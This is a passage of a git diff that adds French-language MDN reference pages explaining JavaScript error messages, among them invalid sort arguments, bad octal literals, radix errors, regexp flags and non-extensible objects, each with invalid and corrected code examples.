+
+<p>Un fichier <em>source map</em> a été défini plus d'une fois pour un fichier source JavaScript donné.</p>
+
+<p>La plupart du temps, les fichiers sources des scripts JavaScript sont fusionnés et minifiés afin que les transferts de fichiers du serveur vers le navigateur soient plus efficaces. Grâce <a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">aux fichiers de correspondance des sources (<em>source maps</em>)</a>, il est possible d'indiquer au débogueur le code original correspondant. Il existe deux méthodes pour déclarer une correspondance de sources : en utilisant un commentaire ou définissant un en-tête pour le fichier JavaScript.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici une correspondance de source déclarée via un commentaire dans le fichier :</p>
+
+<pre class="brush: js example-good">//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map</pre>
+
+<p>Une autre méthode consiste à indiquer la source originale dans l'en-tête du fichier JavaScript :</p>
+
+<pre class="brush: js example-good">X-SourceMap: /chemin/vers/le/fichier.js.map</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Outils/Débogueur/Comment/Utiliser_une_source_map">Comment utiliser une correspondance de source - Les outils de développement Firefox</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">Une introduction aux correspondances de sources – HTML5 Rocks (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html b/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html
new file mode 100644
index 0000000000..c8aaa54b05
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html
@@ -0,0 +1,47 @@
+---
+title: 'TypeError: invalid Array.prototype.sort argument'
+slug: Web/JavaScript/Reference/Erreurs/Array_sort_argument
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Errors/Array_sort_argument
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: argument is not a function object (Edge)
+TypeError: invalid Array.prototype.sort argument (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Que_s'est-il_passé">Que s'est-il passé ?</h2>
+
+<p>L'argument passé à {{jsxref("Array.prototype.sort()")}} devrait être {{jsxref("undefined")}} ou être une fonction comparant ses opérandes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_invalides">Cas invalides</h3>
+
+<pre class="brush: js example-bad">[1, 3, 2].sort(5);  // TypeError
+
+var cmp = { asc: (x, y) =&gt; x &gt;= y, dsc : (x, y) =&gt; x &lt;= y };
+[1, 3, 2].sort(cmp[this.key] || 'asc');  // TypeError
+</pre>
+
+<h3 id="Cas_valides">Cas valides</h3>
+
+<pre class="brush: js example-good">[1, 3, 2].sort();   // [1, 2, 3]
+
+var cmp = { asc: (x, y) =&gt; x &gt;= y, dsc : (x, y) =&gt; x &lt;= y };
+[1, 3, 2].sort(cmp[this.key || 'asc']); // [1, 2, 3]</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/bad_octal/index.html b/files/fr/web/javascript/reference/erreurs/bad_octal/index.html
new file mode 100644
index 0000000000..241f127a05
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/bad_octal/index.html
@@ -0,0 +1,52 @@
+---
+title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant'
+slug: Web/JavaScript/Reference/Erreurs/Bad_octal
+tags:
+  - Erreurs
+  - JavaScript
+  - Mode strict
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Bad_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
+Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement, l'exécution du script JavaScript ne sera pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les littéraux de nombres décimaux peuvent démarrer par un zéro suivi d'un autre chiffre. Si tous les chiffres après le 0 de tête sont inférieurs à 8, le nombre est interprété comme un nombre en notation octale. Or, cela ne peut pas être le cas avec <code>08</code> et <code>09</code> et JavaScript produit un avertissement.</p>
+
+<p>Les littéraux en notation octale et les séquences d'échappement octales sont désormais dépréciées (il y a aura donc un avertissement complémentaire sur la dépréciation de ces notations). Avec ECMAScript 6 et les versions ultérieures, la syntaxe utilise un zéro initial, suivi de la lettre latine « o » en majuscule ou en minuscule ((<code>0o</code> ou <code>0O)</code>. Pour plus d'informations à ce sujet, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Octaux">la grammaire lexicale JavaScript</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Nombres_invalides_en_notation_octale">Nombres invalides en notation octale</h3>
+
+<pre class="brush: js example-bad">08;
+09;
+// SyntaxError: 08 is not a legal ECMA-262 octal constant
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences are deprecated</pre>
+
+<h3 id="Nombres_valides_en_notation_octale">Nombres valides en notation octale</h3>
+
+<p>On utilisera un zéro suivi de la lettre « o » pour indiquer un nombre exprimé en notation octale :</p>
+
+<pre class="brush: js example-good">0O755;
+0o644;
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Octaux">La grammaire lexicale de JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Errors/Deprecated_octal">SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/bad_radix/index.html b/files/fr/web/javascript/reference/erreurs/bad_radix/index.html
new file mode 100644
index 0000000000..37944b3ff8
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/bad_radix/index.html
@@ -0,0 +1,63 @@
+---
+title: 'RangeError: radix must be an integer'
+slug: Web/JavaScript/Reference/Erreurs/Bad_radix
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Bad_radix
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: invalid argument (Edge)
+RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
+RangeError: toString() radix argument must be between 2 and 36 (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>C'est le paramètre utilisé avec la méthode {{jsxref("Number.prototype.toString()")}} ou avec la méthode {{jsxref("BigInt.prototype.toString()")}} pour indiquer la base de conversion qui est en cause. Ce paramètre, optionnel, doit être un nombre entier, compris entre 2 et 36 qui inique la base du système numérique dans lequel on veut représenter les valeurs numériques.</p>
+
+<p>Pourquoi limiter la base à 36 ? Lorsqu'une base est supérieure à 10, on utilise les caractères de l'alphabet pour représenter les chiffres. Or, l'alphabet latin ne possède que 26 caractères. En utilisant donc les 10 chiffres arabes et ces caractères, on possède 36 caractères pour représenter les chiffres d'un nombre.</p>
+
+<p>Généralement, on emploie cette méthode avec des bases fréquemment utilisées :</p>
+
+<ul>
+ <li>2 pour <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_binaire">les nombres binaires</a>,</li>
+ <li>8 pour <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_octal">les nombres octaux</a>,</li>
+ <li>10 pour <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_d%C3%A9cimal">les nombres décimaux</a>,</li>
+ <li>16 pour <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_hexad%C3%A9cimal">les nombres hexadécimaux</a>.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">(42).toString(0);
+(42).toString(1);
+(42).toString(37);
+(42).toString(150);
+// On ne peut pas utiliser une telle
+// chaîne pour du formatage :
+(12071989).toString("MM-dd-yyyy");
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">(42).toString(2);     // "101010" (binary)
+(13).toString(8);     // "15"     (octal)
+(0x42).toString(10);  // "66"     (decimal)
+(100000).toString(16) // "186a0"  (hexadecimal)
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html b/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html
new file mode 100644
index 0000000000..54005c38e5
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html
@@ -0,0 +1,106 @@
+---
+title: 'SyntaxError: invalid regular expression flag "x"'
+slug: Web/JavaScript/Reference/Erreurs/Bad_regexp_flag
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Syntax error in regular expression (Edge)
+SyntaxError: invalid regular expression flag "x" (Firefox)
+SyntaxError: Invalid regular expression flags (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un marqueur (<em>flag</em>) invalide est utilisé dans une expression rationnelle. Un littéral d'expression rationnelle se compose d'un motif entouré de deux barres obliques, les marqueurs sont ajoutés après la seconde barre oblique. On peut également les indiquer dans le deuxième paramètre du constructeur {{jsxref("RegExp")}}. Les marqueurs d'une expression rationnelle peuvent être utilisés séparément ou combinés, dans n'importe quel ordre. Il existe uniquement cinq marqueurs autorisés en ECMAScript.</p>
+
+<p>Pour ajouter un marqueur sur une expression rationnelle, on utilisera cette syntaxe :</p>
+
+<pre class="brush: js">var re = /motif/marqueurs;
+</pre>
+
+<p>ou encore :</p>
+
+<pre class="brush: js">var re = new RegExp('motif', 'marqueurs');</pre>
+
+<table class="standard-table">
+ <caption>Marqueurs autorisés pour les expressions rationnelles</caption>
+ <thead>
+  <tr>
+   <th scope="col">Marqueur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Recherche globale.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Recherche non-sensible à la casse.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Recherche sur plusieurs lignes.</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>Unicode : le motif est interprété comme une suite de codets Unicode.</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>La recherche effectuée est « adhérente » et recherche une correspondance à la position indiquée dans la chaîne cible (cf. {{jsxref("RegExp.sticky", "sticky")}}).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Seuls cinq marqueurs d'expression rationnelle sont valides :</p>
+
+<pre class="brush: js example-bad">/toto/truc;
+
+// SyntaxError: invalid regular expression flag "t"
+</pre>
+
+<p>Peut-être souhaitiez-vous créer une expression rationnelle ? Une expression qui contient deux barres obliques est interprétée comme un littéral d'expression rationnelle :</p>
+
+<pre class="brush: js example-bad">let obj = {
+  url: /docs/Web
+};
+
+// SyntaxError: invalid regular expression flag "W"
+</pre>
+
+<p>Peut-être souhaitiez-vous créer une chaîne de caractères ? Dans ce cas, il faut ajouter des quotes (simples ou doubles) afin de former un littéral de chaîne de caractères :</p>
+
+<pre class="brush: js example-good">let obj = {
+  url: '/docs/Web'
+};</pre>
+
+<h3 id="Marqueurs_valides">Marqueurs valides</h3>
+
+<p>Voir le tableau ci-avant pour la liste des marqueurs autorisés pour manipuler les expressions rationnelles en JavaScript.</p>
+
+<pre class="brush: js example-good">/toto/g;
+/toto/gim;
+/toto/uy;
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">Les expressions rationnelles</a></li>
+ <li><a href="http://xregexp.com/flags/">XRegEx</a> – une bibliothèque relative aux expressions rationnelles qui fournit quatre nouveaux marqueurs (<em>flags</em>) (<code>n</code>, <code>s</code>, <code>x</code>, <code>A</code>)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html b/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html
new file mode 100644
index 0000000000..e5e015f52d
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: return not in function'
+slug: Web/JavaScript/Reference/Erreurs/Bad_return_or_yield
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: 'return' statement outside of function (Edge)
+SyntaxError: return not in function (Firefox)
+SyntaxError: yield not in function (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/return">return</a></code> ou <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/yield">yield</a></code> est utilisée en dehors d'une <a href="/fr/docs/Web/JavaScript/Guide/Fonctions">fonction</a>. Il est possible que des accolades soient manquantes. Les mots-clés <code>return</code> et <code>yield</code> doivent être utilisés dans une fonction car ils permettent de terminer ou d'arrêter/reprendre l'exécution d'une fonction et de définir une valeur qui doit être renvoyée à l'appelant de la fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js example-bad">var encouragement = function(score) {
+  if (score === 147)
+    return "Super !";
+  };
+  if (score &gt; 100) {
+    return "Un record!";
+  }
+}
+
+// SyntaxError: return not in function</pre>
+
+<p>À première vue, les accolades semblent correctes mais en regardant de plus près, on voit qu'il manque une accolade ouvrante ("{") après la première instruction <code>if</code>. La version correcte serait :</p>
+
+<pre class="brush: js example-good">var encouragement = function(score) {
+  if (score === 147) {
+    return "Maximum!";
+  }
+  if (score &gt; 100) {
+    return "Century!";
+  }
+};</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/return">return</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/yield">yield</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html b/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html
new file mode 100644
index 0000000000..0ea10d9cb0
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html
@@ -0,0 +1,75 @@
+---
+title: 'TypeError: X.prototype.y called on incompatible type'
+slug: Web/JavaScript/Reference/Erreurs/Called_on_incompatible_type
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: 'this' is not a Set object (Edge)
+TypeError: Function.prototype.toString called on incompatible object (Firefox)
+TypeError: Function.prototype.bind called on incompatible target (Firefox)
+TypeError: Method Set.prototype.add called on incompatible receiver undefined (Chrome)
+TypeError: Bind must be called on a function (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Lorsque cette erreur est levée, cela signifie qu'une fonction (d'un objet donné) est appelé avec une valeur <code>this</code> qui ne correspond pas au type attendu par la fonction.</p>
+
+<p>Cela peut se produire lorsqu'on utilise les méthodes {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} et qu'on fournit un argument <code>this</code> dont le type n'est pas celui attendu.</p>
+
+<p>Cela peut également se produire quand on fournit une fonction (sous la forme d'un objet) comme argument d'une autre fonction. Dans ce cas, l'objet ne sera pas capturé comme valeur <code>this</code> pour la fonction. Pour contourner ce problème, on peut fournir une fonction lambda qui effectue l'appel ou utiliser la fonction {{jsxref("Function.prototype.bind()")}} afin que <code>this</code> soit l'objet attendu.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">var monSet = new Set;
+['truc', 'bidule'].forEach(monSet.add);
+// monSet.add est une fonction mais
+// "monSet" n'est pas capturé en tant que this.
+
+var maFonction = function () {
+  console.log(this);
+};
+['truc', 'bidule'].forEach(maFonction.bind);
+// maFonction.bind est une fonction
+// mais "maFonction" n'est pas capturé en tant
+// que this.
+
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">var monSet = new Set;
+['truc', 'bidule'].forEach(monSet.add.bind(monSet));
+// Cela fonctionne car on lie "monSet" avec this.
+
+var maFonction = function () {
+  console.log(this)
+};
+['truc', 'bidule'].forEach(x =&gt; maFonction.bind(x));
+// Cela fonctionne car on utilise
+// la fonction "bind" ce qui permet de
+// créer une fonction lambda qui propage
+// l'argument.
+
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html b/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html
new file mode 100644
index 0000000000..928e57c475
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html
@@ -0,0 +1,62 @@
+---
+title: 'ReferenceError: can''t access lexical declaration`X'' before initialization'
+slug: Web/JavaScript/Reference/Erreurs/Cant_access_lexical_declaration_before_init
+tags:
+  - Erreur
+  - JavaScript
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: Use before delaration (Edge)
+ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
+ReferenceError: 'x' is not defined (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("ReferenceError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a eu un accès à une variable déclarée avec <code>let</code> ou <code>const</code> avant que celle-ci ait été initialisée. Cela peut se produire dans n'importe quelle instruction de bloc avec une variable déclarée avec <code>let</code> ou <code>const</code> et qui est utilisée avant son initialisation.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Dans l'exemple qui suit, la variable <code>toto</code> est redéclarée dans le bloc avec un second <code>let</code> et elle n'est donc pas initialisée.</p>
+
+<pre class="brush: js example-bad">function test(){
+   let toto = 33;
+   if (true) {
+      let toto = (toto + 55);
+      // ReferenceError: can't access lexical
+      // declaration `toto` before initialization
+   }
+}
+test();
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<p>Afin que <code>toto</code> puisse être modifiée au sein de l'instruction <code>if</code>, on enlèvera la redéclaration dans ce bloc :</p>
+
+<pre class="brush: js example-good">function test(){
+   let toto = 33;
+   if (true) {
+      toto = (toto + 55);
+   }
+}
+test();
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let#Zone_morte_temporaire_(Temporal_Dead_Zone_TDZ)_et_les_erreurs_liées_à_let">La « zone morte temporelle » (ou TDZ pour « <em>Temporal Dead Zone</em> ») et les erreurs avec <code>let</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html
new file mode 100644
index 0000000000..88e96eebef
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html
@@ -0,0 +1,59 @@
+---
+title: 'TypeError: can''t access property "x" of "y"'
+slug: Web/JavaScript/Reference/Erreurs/Cant_access_property
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: can't access property {x} of {y} (Firefox)
+TypeError: {y} is undefined, can't access property {x} of it (Firefox)
+TypeError: {y} is null, can't access property {x} of it (Firefox)
+
+Exemples
+TypeError: x is undefined, can't access property "prop" of it
+TypeError: x is null, can't access property "prop" of it
+TypeError: can't access property "prop" of undefined
+TypeError: can't access property "prop" of null
+</pre>
+
+<h2 id="Types_d'erreur">Types d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>On a tenté d'accéder à une propriété sur la valeur {{jsxref("undefined")}} ou {{jsxref("null")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_invalides">Cas invalides</h3>
+
+<pre class="brush: js example-bad">// undefined et null ne possèdent aucune propriété et aucune méthode substring
+var toto = undefined;
+toto.substring(1); // TypeError: x is undefined, can't access property "substring" of it
+
+var toto = null;
+toto.substring(1); // TypeError: x is null, can't access property "substring" of it
+</pre>
+
+<h3 id="Corriger_le_problème">Corriger le problème</h3>
+
+<p>Pour détecter le cas où la valeur utilisée est <code>undefined</code> ou <code>null</code>, on peut utiliser l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof">typeof</a></code>. Par exemple :</p>
+
+<pre class="brush: js">if (typeof toto !== 'undefined') {
+  // On sait alors que toto est bien défini et on peut utiliser ses propriétés s'il en a.
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html
new file mode 100644
index 0000000000..ecaf275f20
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html
@@ -0,0 +1,55 @@
+---
+title: 'TypeError: can''t assign to property "x" on "y": not an object'
+slug: Web/JavaScript/Reference/Erreurs/Cant_assign_to_property
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox)
+TypeError: Cannot create property 'x' on {y} (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, une exception {{jsxref("TypeError")}} est déclenchée lorsqu'on tente de créer une propriété sur <a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">une valeur primitive</a> telle qu'un symbole, une chaîne de caractères, un nombre ou un booleén.</p>
+
+<p>Le problème peut être lié à une valeur qui se trouve à un endroit inattendu ou qu'un équivalent objet d'une valeur primitive est attendu (ex. {{jsxref("String")}} pour la chaîne de caractères ou {{jsxref("Number")}} pour un nombre).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_invalide">Exemple invalide</h3>
+
+<pre class="brush: js example-bad">'use strict';
+
+var foo = "my string";
+// The following line does nothing if not in strict mode.
+foo.bar = {}; // <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: can't assign to property "bar" on "my string": not an object</span></span></span>
+</pre>
+
+<h3 id="Exemple_valide">Exemple valide</h3>
+
+<p>On pourra corriger le problème en convertissant la valeur primitive en sont équivalent objet avec un constructeur (ici {{jsxref("String")}} pour .</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var foo = new String("my string");
+foo.bar = {};
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode")}}</li>
+ <li>{{Glossary("primitive")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html b/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html
new file mode 100644
index 0000000000..62c09c1a44
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html
@@ -0,0 +1,65 @@
+---
+title: 'TypeError: can''t define property "x": "obj" is not extensible'
+slug: Web/JavaScript/Reference/Erreurs/Cant_define_property_object_not_extensible
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Cannot create property for a non-extensible object (Edge)
+TypeError: can't define property "x": "obj" is not extensible (Firefox)
+TypeError: Cannot define property: "x", object is not extensible. (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La plupart du temps, un objet est extensible, ce qui signifie qu'on peut lui ajouter de nouvelles propriétés. Cependant, dans ce cas, on a utilisé la méthode {{jsxref("Object.preventExtensions()")}} afin de marquer l'objet comme non-extensible. Celui-ci ne pourra donc pas recevoir de nouvelles propriétés en plus de celles dont il dispose déjà.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, si on essaie d'ajouter une nouvelle propriété sur un objet non-extensible, on obtient une exception <code>TypeError</code>. En mode non-strict, l'ajout de la nouvelle propriété est ignoré silencieusement.</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var obj = {};
+Object.preventExtensions(obj);
+
+obj.x = 'toto';
+// TypeError: can't define property "x": "obj" is not extensible
+</pre>
+
+<p>Pour le mode strict ete le mode non-strict, un appel à {{jsxref("Object.defineProperty()")}} déclenchera une exception lorsqu'on utilisera cette méthode pour ajouter une nouvelle propriété à un objet non-extenssible.</p>
+
+<pre class="brush: js example-bad">var obj = { };
+Object.preventExtensions(obj);
+
+Object.defineProperty(obj,
+  'x', { value: "toto" }
+);
+// TypeError: can't define property "x": "obj" is not extensible
+</pre>
+
+<p>Pour corriger cet erreur, il faut retirer l'appel à {{jsxref("Object.preventExtensions()")}} pour que l'objet soit extensible, soit ajouter la propriété avant que l'objet devienne non-extensible, soit retirer l'ajout de cette propriété si elle n'est pas nécessaire.</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var obj = {};
+obj.x = 'toto'; // On ajoute la propriété avant de
+               // bloquer l'ajout d'autres propriétés
+
+Object.preventExtensions(obj);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_delete/index.html b/files/fr/web/javascript/reference/erreurs/cant_delete/index.html
new file mode 100644
index 0000000000..ce9c8a7b0e
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_delete/index.html
@@ -0,0 +1,59 @@
+---
+title: 'TypeError: property "x" is non-configurable and can''t be deleted'
+slug: Web/JavaScript/Reference/Erreurs/Cant_delete
+tags:
+  - Erreurs
+  - JavaScript
+  - Mode strict
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cant_delete
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Calling delete on 'x' is not allowed in strict mode (Edge)
+TypeError: property "x" is non-configurable and can't be deleted. (Firefox)
+TypeError: Cannot delete property 'x' of #&lt;Object&gt; (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}} in strict mode only.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
